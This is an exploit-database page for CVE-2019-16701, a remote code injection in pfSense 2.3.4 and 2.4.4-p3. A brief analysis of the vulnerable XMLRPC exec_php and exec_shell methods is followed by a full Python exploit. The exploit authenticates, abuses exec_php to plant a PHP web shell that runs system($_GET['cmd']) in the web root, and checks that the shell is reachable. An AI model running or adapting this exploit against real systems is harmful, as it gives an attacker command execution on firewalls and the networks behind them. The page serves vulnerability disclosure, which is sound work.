pfSense 2.3.4 / 2.4.4-p3 Remote Code Injection

2019.09.25
Credit: Nassim Asrir
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection # Date: 23/09/2018 # Author: Nassim Asrir # Vendor Homepage: https://www.pfsense.org/ # Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/ # CVE: CVE-2019-16701 # Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3 ###################################################################################################### 1 : About Pfsense: ================== pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more. 2 : Technical Analysis: ======================= The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands. XMLRPC methods: pfsense.exec_shell pfsense.exec_php pfsense.filter_configure pfsense.interfaces_carp_configure pfsense.backup_config_section pfsense.restore_config_section pfsense.merge_config_section pfsense.merge_installedpackages_section_xmlrpc pfsense.host_firmware_version pfsense.reboot pfsense.get_notices system.listMethods system.methodHelp system.methodSignature As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php. 2 : Static Analysis: ==================== In the static analysis we will analysis the xmlrpc.php file. Line (73 - 82) This code check if the user have enough privileges. $user_entry = getUserEntry($username); /* * admin (uid = 0) is allowed * or regular user with necessary privilege */ if (isset($user_entry['uid']) && $user_entry['uid'] != '0' && !userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) { log_auth("webConfigurator authentication error for '" . $username . "' from " . $this->remote_addr . " not enough privileges"); Line (137 - 146) This part of code is the interest for us. As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code). public function exec_php($code) { $this->auth(); eval($code); if ($toreturn) { return $toreturn; } return true; } Line (155 - 160) In this part of code also we have a check for auth then the execution for ($code) public function exec_shell($code) { $this->auth(); mwexec($code); return true; } 3 - Exploit: ============ #!/usr/bin/env python import argparse import requests import urllib2 import time import sys import string import random parser = argparse.ArgumentParser() parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1") parser.add_argument("--password", help = "pfsense Password") args = parser.parse_args() rhost = args.rhost password = args.password print "" print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection" print "" print "[+] Author: Nassim Asrir" print "" command = "<?xml version='1.0' encoding='iso-8859-1'?>" command += "<methodCall>" command += "<methodName>pfsense.host_firmware_version</methodName>" command += "<params>" command += "<param><value><string>"+password+"</string></value></param>" command += "</params>" command += "</methodCall>" stage1 = rhost + "/xmlrpc.php" page = urllib2.urlopen(stage1, data=command).read() print "[+] Checking Login Creds" if "Authentication failed" in page: print "[-] Wrong password :(" sys.exit(0) else: random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)]) print "[+] logged in successfully :)" print "[+] Generating random file "+random+".php" print "[+] Sending the exploit ....." command = "<?xml version='1.0' encoding='iso-8859-1'?>" command += "<methodCall>" command += "<methodName>pfsense.exec_php</methodName>" command += "<params>" command += "<param><value><string>"+password+"</string></value></param>" command += "<param><value><string>exec('echo \\'&lt;pre&gt; &lt;?php $res = system($_GET[\"cmd\"]); echo $res ?&gt; &lt;/pre&gt;\\' > /usr/local/www/"+random+".php');</string></value></param>" command += "</params>" command += "</methodCall>" stage1 = rhost + "/xmlrpc.php" page = urllib2.urlopen(stage1, data=command).read() final = rhost+"/"+str(random)+".php" check = urllib2.urlopen(final) print "[+] Checking ....." if check.getcode() == 200: print "[+] Yeah! You got your shell: " + final+"?cmd=id" else: print "[+] Sorry :( Shell not found check the path"


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top